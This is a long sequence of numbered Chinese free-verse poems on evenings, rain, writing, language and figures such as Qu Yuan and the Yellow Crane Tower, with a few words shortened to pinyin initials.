就试图穿透一个人的平生，他所面临的凶险 这举动唤醒了他。 他一定没有了手，也没有脚，缺胳膊少腿的 倚靠一棵大树。好推开来 一切而只是作为一个残缺不全的人而存在着。 夕阳西下，暮色向晚。 他把全部的完整，以最后的一点点 香烟般的欢喜和力气，都聚集在了心脏部位。 一点点，就像一个人真的如自己 被记录的那样。 周围没有人，一个见证者 突然在他的脑海里面变得神奇而又不可思议。 他试图找寻一本， 在周围的景物里面并不存在的书籍， 在波浪与湖水，草丛与灌木丛，褐色的岩石 都可能藏起来的地方， 是那见证者的位置，以着他那不语的身姿。 滑雪859 《滑雪》 有多少双眼睛看着， 一个人类。他才可以如此的 故作轻松。 表情轻松的穿上衣裳，带上护目镜 脚底戴上滑雪板， 手紧紧，握住了雪杖。 紧的真实，紧张到不需要去告知 ——她手里和脚下的一切便是了整个世界。 整个世界如果由问询而来， 被掀开确实如同被溅起来的雪花 我们是一些来的不合时宜的人， 或者，没准她会在一个我们看不见的 灌木丛，停下她的滑行。 偷偷的将一个被整个世界注视的人类 在躯体这一部分上面一层层的脱落， 夜晚860 《夜晚》 在同一个傍晚， 我自己因为正是里面的事物。 我是拍拍自己胸脯的事物。 把里面的自己提醒，试着 往外面推，以推测那夜晚 这时的边界。 离开861 《离开》 即将要离开此地的昏黄的傍晚 而全部沉入了夜色里面。 最后的一点点光线仿佛曙光， 布满了砖石墙壁，和黄土地面的院子。 我不说话，即使语言它带上了你。 入梦一般前的节奏， 有一个行走的人正试着慢慢 停了下来。他嘴里面的那些句子 有着短暂的突兀，随后因为其波折的， 范围不算很大而平复下来。 这使得这院子中的寂静 很快的就会被打破。会有一双 命运1一般的手儿，会有一个人， 可以承载我们的所思所想。 一个人的微小心意， 被离此地很远另外的一个牵涉着， 如同那些摆放在桌子上面的信纸 会被书写，折叠，放进邮箱。 书写862 《书写》 我书写于，是你的，书上面文字的倒影。 书写于短的句子的完成， 如同潮润的湖水，表面泛起了波浪 被风推到了另外的一边。 那些，因此空出来了的， 如同纸张。摊开，整洁， 但短瞬于大地，所给予人类书写的要求。 而贫乏使得我矛盾又深知于，自己的肤浅。 我只能以游客，围观者的身份， 并在偷偷的靠拢之中，寻找 对于声音和语言的人声鼎沸里面的曲解。 在散开来了的酒肆，茶馆，路边简陋的 小吃店，因而有可能还包括一个古代。 而当这一切还没有真正的往日一般的发生， 那些过去所谈也确确实实是有关于 教化的作用，随即又在我们的眼前失效 和失败。 我们有理由相信，凭借着说出的那一刻 自信满满。就像 在长久里面的教化实际上已经事实的 偏离了书写。 书写闪光的本质只在于书写发生的那一刻， 或者直指永恒，用它那沉默。 这些有关于书写，教化，短暂与永恒， 无效和有效，真与假的不可明证 在游客与围观者之中的， 又是谁呢，在推动着一个祖g的发展和进步。 而你，思夏日里面的微风，途径了水面 又进入了我瞎想的心灵。 雨水863 《雨水》 整个世界如此寂寞， 因它那外显只以女子娟秀的等待。 空缺于走向了文字的倾诉和表达的历程漫长， 像我们的此刻，被称作了书写。 不只是拿起了一支笔，沉重如同刀剑。 有多少人呢，是被抹s而需要的。 为这投笔从戎，窗口一直保持斑驳和半掩。 呵，实则，每一个人都是因为失败 而成为了英雄。或者他们不愿意再做个英雄了。 那英雄的折返，正因为苦楚而意欲 成为我们。英雄也只贪婪与好s之间， 微末正y的举动。当他从萧声 和傍晚蛙鸣而来，淋湿了雨， 衣裳湿漉漉的，他有一个家， 可以回去。妻子在雨水里面推开了窗户， 冷风吹进来，带着莫须有的遥远的讯息。 屈原864 《屈原》 如果有人会告诉我什么 渡过了江水。 \/ 谁愿意心甘情愿为众多的 礼物和赞许所弃之不顾。如视之 草屑呢。 \/ 我在过去就为未来的现代性， 因为考察的完善与丰富性之中，如同 有了另外的一个我。 而我留给他们的语言只是一个单词， 众多句子里面最自然的一个。 \/ 那一个叫作屈原。或者其他 是贫苦的浣女，清洗着江边衣裳的破旧不堪。 早起的耕农，拥有他全部的身家。 是一只黄牛，这生死一线之间， 汨罗江水幽深的流淌让人看上一眼， 便心生无比的恐惧。 \/ 不过是死亡着的轮回在死， 复又活了过来，重新审视这个世界。 贫穷与富有，破旧和不堪，泥泞的 下过雨之后人却需要一直行走的小路。 都只是尚且没有诞生的修饰词语。 \/ 像我的纵身一跳，在沉默里面， 不再有那，对他自己的质疑。 对与错865 对与错 《对与错》 谁不爱呢？ 所判断出来的， 以对与错，那 对与错误的爱，也爱着。 我们的爱因此在错误之中长久， 在对的追求， 如同在屋舍——就把它建筑在山涧。 如流水，更早之前的存在。 当时，语言的形象，如此的懵懂 从纯然的，从雾气蒙蒙， 如同闪电，交出了自己的声音， 流入这个复杂的末世。 湖泊866 《湖泊》 把他们的身躯，按入水中， 旧日他们伟岸的肩膀， 有力的挥舞仿佛，从湖水 到大江。 如今那些汹涌澎湃展示了他的 精疲力尽，而不同于无力， 言语的修辞，就像我也被形容 如同岸上的一棵树，在江边，在湖泊。 在不同的，事物所共同属于的相似性之间， 等待它们各自在自身体内找到了 彼此呼应以沉默的部分。如同走动 是如何的在静默里面发生了。 如同一轮升起来的月亮，发出了 不属于它但围绕着它的光芒，甚至于 青天，变幻的长久诗篇里面，变成了 黑褐色的星斗群聚。我乃重复于语言 之丰盛，又可以从声音里面回来。 我是一只手。在我回忆的时候，那些 曾经之所是，犹如投影于江水的表面， 在存在于人迹里面的烟火的升起，所 涉及到了的伐木，砍柴，生火，人类，你。 清风867 《清风》 不可久留于此地，正意欲往着那 会在我们的语言里面回应的别处， 会以巧妙而含蓄法，拒绝与推辞被暗示。 我们嘴唇用来亲吻，一时三刻时间积累 出于为这美丽所倦怠和弃之不顾于其他了。 可是我们在清风与明月里面，空空的真相 难堪的尽是用修辞来掩饰自己的尴尬。 那女子的声音越来越如一支破竹的尖锐， 在天上降下来了雨的雨天，那一个时刻 更详细的补充和丰富。正意欲往别处的人儿， 没有接受我们的亲吻，一次诚挚的握手， 诚挚的一切里面所包括着的就是一切，包括 我们的一厢情愿，和难以接受。 岩石868 《岩石》 它之所以瑰丽，在于支撑起了 两件事物。 阅读者畅行无阻的走着， 通达之意越来越宽，海洋 所带来的潮润的气息铺满了 涉及到现在和过去息息相关的天际。 岩石， 它被明月高照，寒光落下，覆盖。 当抛弃了那经由人说出的事实， 并重复了它。以沉默的石质平台， 那语言中穿行于人类中的月亮， 因为疲乏，而倦怠于事实的日子已经很久了。 打渔为生869 《打渔为生》 想要离开这里么，无辜者。 从居住的人嘴里面撬出的， 说出来吧。语言一般的，而它 那幻舞，不属于它的属于我们。 经历了一些中间的波折的轻微， 而对于我们而言，只是排除了痛。 而知觉却因此，依然如往常一般 得到了很好的保留。行走像它的 影子中的某一个形式，我走近了 一位居住在江边打渔为生的老者。 像这样的发生时刻，很多，也可以 以很少来表达。 抬头870 《抬头》 抬头望着的那人儿是你。一边又凭借着身边微末的小， 如一些木屑之于树枝。还不是它那 值得同情的干枯，像过去一样把残破的日子带来。 \/ 我们的记忆，应在律令法则的恪尽职守之中， 寻找到新的东西，如厅堂的地面，打扫一新。 \/ 语言之美是在谈及里面， 它夺门而出于回忆和感知，在人的难以忍受之后呢。 像这样一个问题，有时候仅仅因为言语的变形 就持续向着下一个千年。 此时871 《此时》 在吹动的事物的尽头， 是语言。 事物轻轻的晃动， 才漏出了青蛙，蝉和树丛 以语言为终而形成 的阻碍作用的起到， 像它们困难的转换，去试图 拥有了另外的一个身份。 那也是语言所反对的， 在白天与夜色之间不存在交割， 那些傍晚开始点起来的灯盏， 发出了光亮， 相比于树木和房屋，蛙鸣 它是特别的一个。 雪山872 《雪山》 当他的诗歌展开了罗网。 诗歌，关乎于那诗与大地。 而镌刻在纸张上面， 如同一个蜘蛛骸骨的灰烬。 在如此巧妙的回还当中， 注定了他吐出丝线，命运。 却在此之外 写到了青山，巍峨。流水奔腾 发源地被寒风所冰冻。 他已经深知，当他穿着单薄的衣裳。 破旧的鞋子，以苦行僧一般的 热情，在自己体内燃烧着生命的炉鼎。 大地充满了煤炭的地表，纵横着 河水干涸之后裸露出来的荒凉的河床。 而我们每一个人都要比他先到。 因我们不能是最早的一个。我们所说的 居住含有着虚假。我们虚假的建筑着 也是最先离开的那一个。 这多么矛盾，在牧羊人放牧的羊群， 和那一个诗人之间。 像他的言辞辞令，正通过呵气 将眼前的坚融化成水滴。幸福 是源头的产物，在我们于世界的每一个角落， 在它被以尘世的名称所厌倦般的称谓的时候。 雨水873 《雨水》 过去的即使还没有在语言， 和声音中重复。它薄薄的表面 只是由时间，自然的月轮构成。 昨日已远到是乘坐的一辆马车， 闲置起来。去回忆时，如白色的鹤骑 歧路上发出诱人的相邀，令人犹豫不决。 我们曾穿戴上了可以遮掩夏日宁静的面具， 雨和蛙鸣。刹时孤立于天地之间 脸色暗沉的人们纷纷躲进了屋子里面， 望着窗外。未来的模样，那时正由一束目光 来界定，当我试图穿越雨声的幕帘， 这些新的路途，在我的尚且没有经历之上 又是新的一笔。 雨水874 《雨水》 形式不同的做梦， 人类梦到了雨水， 雨水也梦到了人类。 人类的邮差拿着信笺，骑行 他跟雨水做梦的梦幻一样。 他更多的时候潜藏在众人当中， 但不是回来的意思，在说出的话语 里面沉默，这样一种方式人们曾试图 寻找他，靠近他。 人在自己当中的那一道虚影， 向我们奉呈了纸张的白色的含义 是早已经沙沙沙的书写。 邮差有时候会遇上了下雨的天气， 躲在荒废的房子里面避雨。 他推开了一扇年久失修的窗户， 四周尽是人类影影绰绰的虚影。 石头875 《石头》 我们像傍晚的石头，挤占了它的位置。 伟大的造物，性质一点点的衰弱。 从它那强力，开始于行走的震动。 走向了一个石头，并把它 在言语里面才可以更好的安放。 有三种事物，石头，流水，和人类 可以共同的沐浴傍晚的夕阳。 亲切的人儿，请打开你紧咬的嘴唇 那曾经被与此相类似的语言所形容 有时候是出于鲁莽的冲动的冒犯， 令你想起了在温柔的良心附近， 仿佛一根被折断的桃枝。你打开了 我仿若睡梦里面所听到的。 如今，这条河的名字是沅江， 脱去了自己的起点和终点， 一路承载着我想要与你私奔的心意。 三者缺一不可，被这个所紧紧的束缚着 当它从逻辑的对立面寻找到了另外的一种， 却时常以逻辑的影子的方式来自我称谓的时候。 邀约876 《邀约》 我想请你来。 你来，应沿着邀约所提前写下的足迹。 你，应该是最初的花朵，但沉默不语。 像是曾有着终点一般的悬疑， 如果再有一场不期而至的雨水。 雨水中就是我们，各自被尘世捆绑在了一起 当我们的离开，愈加的因为爱意的深刻 而变的遥远。或者，就是在言辞里面 为了固定住吗变幻， 因你的爱意所围拢的容貌，为我所 曾见。 如今我觉得那是一种馈赠的美好， 在艰苦的时刻请你在雨水中打开了伞。 小镇878 《小镇》 小镇是， 这里。 因此，那因远方而存在的小地方。 和它将会实现的颜色。阴郁的、暗沉的、 在一个我不知道的地方偷偷的实现，或者不是 日月轮换，而后回到山上的人们休息。 睡梦一般的等待，也衔接了我 让我成为了那同一个但只是他 回到了山上这节点上面，岁月和样子， 年轻与老去的不同。 看吧，夜色与小镇的关系， 大地这始终如一的沉默的样子。 我想要回到，小镇 我从山中，如同在那岁月中的衰老和叹息 只是为着离开而叹息。 我听到了潺潺流水，已经东去了。 不可解的关系矛盾一般， 而由人所制造的如果远远不至于这一些。 小镇，是这里。然后，是那里 如此轻松所指向的地方， 它丰富的含义，他的错误正被 对人而言的莫可名状所表达。 包括那嗜睡，入睡前的困难， 以及其他。 小路879 《小路》 歌在歌曲的源头。 每一条小路都要变作了大路， 人的热情犹如行走的坦途， 包括着悲观，喜悦，我看到的真实 与虚假，真理的短暂如同光线逝去， 居住和离开之间微不可分的区别。 我看到了， 是大路分出了众多的细叉， 其中的一条。 通往了这里。 一棵树自从它的根茎往上， 开始分出了众多枝条和叶子。 一棵大树已经被淹没在村庄和群山里面了， 只有一条小路弯弯曲曲的， 告知它在漳气氤氲处的具体位置。 我看到，人们只是因为好奇而看了一眼， 寄存在语言的表达，那 还不是文字的记录。 世间有那么多的村庄， 耗尽生命的严肃诗人不会来到他 陌生于此的命运，而庞大的背景 是天空阴沉的云彩，只好代替着， 实现了他g.m热情里面的z.g。 我仅仅为普通人到普通人的距离， 我可以是植物中的树木， 这无聊而孤独的内部的部分。 我，有时候只是一棵树，生长 是一条路，偶然的路过，路面 已经被杂草所覆盖。 远方的繁华日夜允吸着这里的一草一木， 一条条失效的路面， 看着共同的夜空。 有一天，为了找寻早已经逝去的歌谣 而在别的时候， 傍晚就是伟大的， 伟大的沉默之后夜晚来临， 随后第二天来临。 傍晚880 《傍晚》 有时候我的手徒劳的垂落， 进入了另外一个世界。 天色暗沉，充斥那无意义的云彩 挤占着它的位置。 对着天空，我想过忏悔，门 可能是老家的那一扇。 已经破损，给我温情，在暮色里面 渐渐的虚幻，升高，变得无形。 如果一切因我而起，因为我是要去感受。 即使那罪大恶极者，那罪犯， 流民，农夫。 人数众多里面像只是道德失衡的本质， 在生命上面不断的在流转。 我只是以说而疲于奔命，我只是抓捕 而不知原因。 但我抓住了它的衣角，像塞满了空气的手 渐渐的不再属于我了，我感到 双手的麻木，从我的嘴里面，心里面 从一个人嘴里说出了忏悔的收获， 这种短暂里面被光照到的东西。 另外881 《另外》 另外， 世界组成的正确和错误之间， 就像投下一束倾斜的光线 照在大地上面。 夜本身平衡了书写， 和白日里面的一切。这一切， 是道德感的逐渐缺失， 迷途的羊群自己走进了山里面， 脱离了大部d，低下头，吃着青草 语言发出着石头一样，咔吱咔吱的声响。 另外，遗失是已经被人们认定了的 另外的一只。 是羊群不断的在自己身体上面出逃的 那一个大的队列。 我找到的秘密只是一场有我参与的交易， 文字，言说，书写的信笺对它们的延续。 在傍晚，有人扯下了遮挡阳光的帘子 有人建议从夜色这黑色，另外的一种阳光 我们的攀谈才好开始。 像民z的组群，躺在床上翻了一个身， 皮肤的表面渗出微小的汗液， 像一个为我们提供了颠倒所需的一个人。 农夫882 《农夫》 所有，已经将语言用尽。 一个词， 一个新的词语。 一个挑担子的农夫，在傍晚 何其缓慢的离开， 为着不是走进山里，再次重复他 白天做过的。 他发掘语言，挖掘埋在土里面的 因那些已经不在别处可以找到， 他凌辱和折磨的包括了 语言里面的他自己。 我，一个新的词语， 是天边的红色的眼睛， 看着沉默不语的人， 挑着担子缓步下山。 石头883 《石头》 我并不能够确定， 通过确定我能收获什么， 我漫长的刑期，包括了言语和肉体 什么时候才能够结束。 山，固定不动， 就需要有回荡在我们生灵 耳朵里面的声音，是它的。 是我们借着它，如同同样声音里面 雨声大躁， 通过一声闪电下了起来。 我通过它走向了 通过消失在雨水中的事物， 我对你说它，它是声音中的另一个声音 是声音自己留在了声音在大地上面的 蜷曲起来腿脚的处境。 呵，石头，不仅仅石头的仅仅的石头 和暮色与清晨的光线都笼罩着它， 不移不动，静止如盘若 我所一一交代了语言的情形，在它的面前。 因为远884 《因为远》 因为远的肇事期已经过去了。 也是因为那短瞬 词语的事实，就摆放西边天空的高处。 因为远而看做了一个词 因为远而一个人多么的孤独 他是要因为于我们陌生的而去证明， 去反驳。一个词语，因为 一棵草木，一个人，一个生灵而震动。 傍晚天色降下幽暗的天幕，像巨大也像 微小的事物包含着的含蓄和羞涩在巨大的本体 之中，使得那伟大事物的边界沉默。二者， 手牵着手的形象彼此融为一体。 因为远，我看你是一个词。 你攀爬上高山所看到的景象， 就像一个远处的光斑，在自己的体内 试着打开于自己。 因为远885 《因为远》 因为远，我看它像一个词。 你是否愿意在看的仿佛声如沉默的另一个洪钟 里面，因果一般下落。下落的形体 其实只是傍晚的祷慰，可以为 莫须有的一切，从此到彼，可以是 这里和那里，和暗淡的光线，铺展在地面上。 因为远和远的因果而来的 人儿攀爬到了山顶，累的气喘吁吁 不得不交代了他就是我， 而我一直在寻找你，一天里面 走南走北，寻获无果的一天的事实。 在远的肇事之距离上的仿佛是历史中的此刻， 或者别的时候，如同被我推开的一根植物， 经过了我身边的风儿轻拂， 我心里面被这肇事之远的结果和后果所覆盖， 傍晚被美丽的充塞如同命运之中的美丽 因为误解才被人们一次次的发现。 因为远886 《因为远》 因为远， 我看着的那一处地方。 像一个词，像一个人 他正在慢慢的同样缩小了身体， 将一个微小的光斑掩盖。 \/ 如果词或者一个人，挂在了天边 就像宇宙和世界的厅堂， 此刻，傍晚是所有回忆之中，最为温情的那一刻。 \/ 我的周围也还有其他的风景， 微风轻轻吹拂着，草木的叶子轻轻摆动 有一个人正扛着锄头，走在回家的路上 他走进了高大的灌木丛地带，灌木丛 挡住了他前行的身影 炊烟，正在房屋的烟囱上面升起。 \/ 抬头，在天空的墙壁上面，挂着 像词也像人的画框。 悬挂起来，与走失有关的远方的因果 悬挂起来的那人儿走进灌木丛的 我身边的一切。 远处887 《远处》 我在远处看你， 像词那般 我的眼睛或者那深深的 变得开始矛盾的眸。 如此多的事物，和词语 还有其他的什么，都一一的 平等，因为忽视了的目光之中 也会有重新回来的可能， 它借此所极其微小的被大方馈赠的 如同它在世界之中的身影， 在自身的体内弯曲向下，想要 追思于过去，表面被不可抵达的惆怅 所萦绕。 日子和星星在我的身体之外， 夜晚发出着璀璨的光明， 是时候一切为转移而同时的高歌， 又是以昆虫之蛙鸣，以寂静。 夜晚888 《夜晚》 像这样，多次的敲打着被我们审x的天空 从早晨开始， 当第一缕光线来自于暗沉，我们昨夜幽闭着 难以入睡的双眼。而德行的蔑视下的苍茫大地 同样也在以生灵的方式，四处的寻找着。 偶尔，天空飞过振翅的鸟儿 松塔笔直群体的支撑，团结，靠近山脚下的湖泊。 这些，我们都需要经受， 我们是离开了植物之后的语言的历程。 需要一次常新中的新。它的大度，不需要任何的给予。 作为一种交换所附带的伟大的品质， 语言作为从此跟随着我们的事物。 像这样，就是众生相。 像这样敲击天空的一无所获里面焦急， 人感到了紧张的加剧。 那些我们扯不断的弓弦 摆放的随意，而夜幕沉沉， 我忽然忆天空如梦，作为另外的一种遥远中的 莫须有的夜空，它突然降下的身份。 夜晚889 《夜晚》 离离原上草，是别的 是因为等待你的口吻而成为事物的，其他的。 这样一别， 彼此道别还需要再加上互相寒暄，馈赠礼物， 送客人一段路，直到坐上古代一般的车马， 珍重之音暂时取代了空气中的别的震颤。 别的如果不想是灾祸，意外，水情 那些我们平日里的偶然一撇，荷花怎么可能如此善变呢。 我们的语言的边界怎么可能如此突兀的自身显现。 没有人会回答我们，就像没有人可以探查于 更深沉默的内部。 如果不像在众星群一般里面而反过来醉心于它那好 好的单一，好于生命既脆弱又微小。 矛盾重重的生命，在生活里面不断的重复上演这般。 如今，趁着夜色所送，语言的这一位 如果它是要在追思的无果把酒酿喝干 只有夜晚是属于它，并牵涉到我们的，我们的 语言的边界也在任何时候都以入梦的形式而停止。 蛙鸣890 《蛙鸣》 蛙鸣的秘密并不在我的脑海里面存在。 这样说，仿佛提到了两种不同的事情。 另一个是潜藏。这使得我感到了费解， 我想起了与那阳光无差别的洒落不同。 天空之中有如孤星的事物，一支飞鸟。 会在飞翔后向下俯冲，随即超出视野， 落入了山的另一边。我杜撰它之后 砸到了一个人，让他啊的叫了出来。 同时没有了语言，也失去一只飞鸟 而这一些又都与那普遍性的洒落无关。 可那些蛙鸣为什么会趁着夜晚，敲打 房门之心，里面的人的变幻不定。 人的猜疑不定，人的，因浅薄的文书 一般被下了定断之思上面，自身为屋舍 之心的事实。小到如微，使得夜晚的木匠 要去该做一个弄器的铁匠，他以文字入火， 幽闭的室内想要制作一把钥匙。他可是钥匙之人 所穷途末路于思的无辜，并使得那如同思一般的 敲打，如同蛙鸣，在铁器的大地上面跳跃不定。 祖先891 《祖先》 文字中的这一个时刻 有的人还没有休息， 他还没有得到一瓶水，他渴了 还没有得到我的一声问候。 文字中的祖先， 以天长地久之中示人以命。 祖先，如今在每一个人的文字的感觉里面 为这一感觉而同样个体一般的 敲打和修订。 我就像他们，也是突兀之间 从紧张的感觉之放松之突然所 带着敬意进入了他们。祖先 沉默的问候， 敲敲打打中我们的感觉 和他们那铁匠，木匠，瓦匠之心 怎么可以再有一心二用的力气呢。 是否会有一种可能为我们所 轻笑的倾听，来自于它们而以杜撰施行。 于是，我，一个路人 下班以后，堕入自己的平庸前 走在路上张开了双臂 历史之中的悬浮托举起了我， 使得我那抬起自己的力量， 落入了更早之前的过去的贫苦， 我的思，那无形的被阳光照耀着的 它的尾音。 羊群892 《羊群》 夜晚， 数数。 数你梦中的羊群 你，这一个。而不是其他人， 你一个肇事者。在自己体内所沉默制造的 一切，就是宇宙的意思。 夜晚的哗变之世界首先应该以美丽的星空，示人 以逻辑上面符合于脑海之中当具体形象再进了一步。 你所制造抒发，麻烦，对于我 你是否使得我借着无意之间所拥有的缝隙 成为一个思索者，感激不断。 羊群于没有秘密可言，世界 在牧羊人的空虚和寂寞那里， 当缜密的道路再一次向着世界之中的人们 和他们所同样以其缜密所发现， 他所轻笑于我，这微不足道， 这是入梦者的微不足道的时刻。 两半893 《两半》 我们的悲也要逝去， 我们也要，也有所求 事物的表面被裸露了出来， 也裸露出来了言语困难里面的 一个良善者，弄乱了的事物的手， 弹拨的手。 有罪的手面对着历史，撑起来的黑色的幕布 s判，好因为原因种种而由我们而来。 如果我是赶来者之美丽 而非人和物。 当它物一般的在人的嘴巴里面 因为联系而彼此牵连。 我是失语者佝偻的背影终于等到了 混合着可笑的一天，这一天将充满了滑稽的 s利。 呵，你不是我，你应是那否定于为高歌者之人。 而你呀，再一次的呼唤了包括我在内的一切事物 在我的心里面，这激荡着的宇宙之心儿 这宇宙刹时间从事物，从山涧，乡野缓缓升起， 那可悲的一切早已经布陈 我看它们像事先严丝合缝的两半。 运河894 《运河》 等一等我， 在语言两端的那一端， 在人的一端。 就说你的渡轮没有了油料， 月色惨败的照射在河面上。 众多旧时代的鬼影影影绰绰 你，哪有心情停下来，驻足停留，木桩。 河面上没有一封信。 明天的运煤驳船会开往北方， 送来今夜的这一虚无。 在孤独而愈发的远，这仿若一个异乡 一个人给自己写下那虚无之后 所诞生的时刻，如江水一般的惊疑不定 但一切到它们满含历史的热泪的挖掘者的血肉为止 而一次次从水面传来运煤船中途停顿的声音 拉响了彼此避让，遵守航线规则的汽笛。 我在空无中刻画了自己，我在莫须有的江水之中 看到了尽是黑色。 追求895 《追求》 追求和寻索，当它自己单纯的 还不是有关于未来的主题。它也不会 如同一只天空中的信天翁，在飞翔的途中 转身向下。它只在自己的信上把被搁置的 一切尽量一一叙述。它在人类的遗忘里面 寻找着，在自己之外。也在旷野栖身。白马 勇士迅捷的趁着夜色经过。他在去往远处天光 暗淡里面的城郭之前，也试图避开这些 无意之间对自己的叙述，像眼前的栅栏或横倒的 树木的残肢。 松树896 《松树》 世界安静 包括了时间。 世界安静如它镜子里面的面容所提出来 了一个问题那样的安静，像它的问题因 此一直悬置，悬而未决于回答已经给出。 安静，无风的时候， 松树忽然一阵极其轻微的抖动， 来自于那经年承受的松针上面， 越来越多累积的重量。我们也有所收获 分享于由突兀而引起的寂静，平静 并且由我们平静的心灵感受，诉说 包括其中感觉的偏差和错误。 无题897 《无题》 来于青天又是一轮之新。其下覆盖有旧 在移动的途中如有手指檀香一般吹拂开来。 而仅仅就它自己，就可以让自己 固守在那简单。又会呼应着人之万千言语 有时候它，事先被事物置于镜子的处境 野花在试图被取代的繁多里面摇晃。 它残缺，第一次途径了沾湿裤脚的河水， 在准确的词语里面感到了愉悦的心情， 说了出来。它可以看着自身在天空 如同脱离了世界被人类，当人类在它的身边 依然在摩拳接憧的言语，言语般的拾起 事物，直到那一个终点，证明在天空的这一 陈旧的根基。月下应有干戚舞。 发丝飘飘之凌乱，步伐突进之章法迷踪。 在大荒野狂乱奔跑的人。 也曾有饿死的人，家中妇孺之人，年幼者之 奔逃。年代亘古存在的黑色白色线条。 我看到了回想这一即成的困难需要在 疲惫者回到了家中，为饮食所感激。 伴随着饥饿依然存在的感觉，为短暂之中 困难于如同干戚舞一般的徐徐前行，坠入了文字。 史记898 《史记》 给予味觉以蜜般的品尝， 整个的枣便如同都在了水里面。 整个的的枣树也被牵连 所有的文字都在追溯，看似不可避免 的解释的历史回声里面被牵连。 呵，看是木讷之人是你 但也不擅长于歌一般于诗它那尚且无 书与写的时刻。 而如同被我们所布置于繁复的错杂于 无聊的本质， 天空之中随同夜晚一道到来的星群不同， 而它所光照应该是话语在徐徐之中 打开来了的，你与我皆称其为美。 作为事物之亲缘，有时候落座 如同事物在静默中拟人的寻找于物之靠椅， 它莫须有的手伸向了两边无形的空气， 仿佛不单单只是自己，似有 无形的话语正准备向你我，越过你我 向四面八方引荐那一同到来者之悬留于 史记动词般的空的地方。 黄鹤楼899 《黄鹤楼》 我看江面陡然为宽阔无比 的凶险之噬人心魄，似要为 灭杀于人类而做着什么准备， 短促而修饰光亮的词语之诗歌所言语 已经不够，为求饶所双手合十所做的准备 乃是江面沉默的本质。 而我依然像自己所设想的那一般下黄鹤楼 在心中回想为留存一点点它馨香馥郁之 小家碧玉之时刻的美丽于此的余地， 应由一人来察觉。而他人不知者以问询 当问询混合了对于空想之江面如天际的 太过于荒诞的宽阔，而我离开那狭窄的意义 也越来越远了。你离开了我们，我在众人之中 问询和回答之间仅凭一张江水的日后的横切面而 分开了彼此，从此出发，在我们以后的语言里面 出现了襄阳，扬州，下游孤帆尽之情谊 似你，你不是那一个问询之人。 黄鹤楼900 《黄鹤楼》 在众多之人类的醉卧倒之中 依然是言语不能语言语言之不能。 我认为那是罪孽， 但我等待那由别人来说出，他 如同经过了醉生梦死。醉里面的酒酿 和生里面由会再次的装填进又一新的 酒酿来代替。 而人之永恒，甚至才有了错误，错误里面 错误的被谈及的因此错误。 艳羡，花枝招展，那些沉默在江水旁边 不发一言的人，精力被江水的浩荡所占据 以卑微者之徒，又如徒劳般， 包括那江水流淌而过的巨大的鹅卵石，建筑 荒滩，一一皆在人类所追忆之中为美偶有的变幻。 蝉声901 《蝉声》 蝉声里，我视它作那存在于永恒里的 蝉鸣为从虚无里面把原因也包括我那结果 都试图在一无所获之后寻找回来的尝试。 它，披挂着的这虚像，震动 抖动了无形中天空的碎片下来 割伤了感觉不到痛苦的人类。 又是那发声而作为了同一个， 作为蝉声之终点于思索所做出的人类的这一个准备， 当傍晚他如同清晨一般推门，选择在 山坡与密林的这一岔路口，为傍晚的沉醉所首先 致意，倾倒。 蝉声902 《蝉鸣》 似有仙人远去， 远去，远去犹如仙人所丢弃而下的伟大的哲理 的内容: 那些蝉声， 左也不是右也不是。 在纸张上面感到别扭， 在大自然之树木上却可以扭捏 求爱于本能的蝉鸣。 有时候这也并不是它。因为我之因其暴露而不满 我走到一个距离此的远处，可以回过头来观察， 仔细与否，蝉声摆脱，忽视与否 明亮的蝉声刺破了寂静的密林 当时正似一头发疯的红兽，在河的这一边 为寻找不到那理由，而干巴巴的望着 那仙人离地，升空，远去。 黄鹤楼903 《黄鹤楼》 那么多开始了 厌恶自己未来的故事 和故事里面攀登的更高一层楼的人儿 忽然觉得自己的衣阙风中翩飞，像一只蝴蝶嬉戏 由远而馈赠于渺小的来自大江的这一切 也不过如此 这便是他对于登黄鹤楼之所见所闻。 故事里面的这一个人儿，看完风景之后， 走下楼梯，为另外的一个让出位置， 为凭栏之江景者因书写的突然而多多少少有了 一些不同。当故事和故事里面攀登的更高的人儿， 使得他， 努力的从另外的视角，不至于以难以想象的虚幻 而他也觉得言语有一些虚假，好准备落于水面 反射人儿的命运之时。 黄鹤楼904 《黄鹤楼》 只有在别的地方， 木头才有可能木上生花。 如果我们要求一个事物在它的安分守己 之外为德性所言谈者之深 乃至于有了在一束微光里面叛逆和脱离的意思 它那俊俏的脸庞上面浮现了隐隐 一丝丝的苦楚。而在它那心的里面 依然是过去的成为了的事情。 携带着原因的是人类， 人儿知道了自己是被一个人类的 巨大的脚掌所踩踏。不停走动的人类 在到达和离开之间以倾听到了 来作为了离开的事端。它所制造的 你呦，你这个人儿此时正费力不讨好的 于思所因为登楼而中断的思绪， 像飘飞的带子，像不远处平静，舒缓，博大的 长江水面。也落在了上面。 你那孤留，你的心孤留以观之。 无题905 《无题》 温暖又天真，在不合时宜里面祷慰。 你持守于固，已经不似昨日一般。而 那些顽固的誓言已经在等待时机的隐隐浮现。 漏出的缝隙里面，借着木船，乘风而去，又 落座于你对立面，日日忍受你诵经卷的喧闹。 词，乃是永恒发出着，从母系的骨盆永恒掉落的声音。 痛苦的添加需要以幸福来作为媒介 以这一些，无论是佝偻的男子还是女子她那 枯瘦如柴的另外的一半， 沉默里面用两只手儿把高枝一点点的拿下来， 送入燃烧的炉膛。如送人远去如诵经人 外面眉目所寻到的苍凉里面被牧羊人的男人 与女人冰冷的比喻和注视着。 这一个词语，只有在婴孩一般的拯救，而没有别的。 其他，只是屋舍外面的山水，田野，石径 散漫的心才可以在这里以水铺开，随即干涸的 形态存在。 我知道，以这种方式，以及以这种方式的粗枝大叶 不仅仅只是那言语的废墟一般所制造的时刻。 而它们如同空气中悬浮的尘埃与柳絮的部分， 使得我的眼睛总是可以如同一个诵经之人， 转过头就可以随意的在彼此凝视里面为存在而 深思，苦虑。 我知道你并不实情于诵经者尽管有如同 开端之水一般的短暂的柔情时刻的准备。 那一些乡野村夫，那一些岂止是语言无罪的悱恻呢。 我已经为一些山雄伟另一侧所繁茂的集市 和熙熙攘攘的人群，在彼此陌生的乡音里面 为你，这一个身着朴素者而打开来了的一个缝隙。 你只是需要穿过人群，你的心灵平静，也不似端着 你不会拯救于不必花费太多气力的东西， 在这一些凭窗远眺一般的词语这里，我 在虚无的想象处力气一点点的消耗。 夜晚906 《夜晚》 只有夜。这是夜晚所搜与寻找无果的 必然性的夜晚，被莫名的情绪所充满。 无论在哪一个角落， 哪一个地方不是我们疲倦的身体 在离开了那夜的孤单的始发地之后 滑行在了那声音的没有源头那里呢。 在我们的心里面回荡着一个莫名的声音， 一种源头的神秘可测却为我们所知晓。 当阴郁的哲人步行，走进了夜晚。 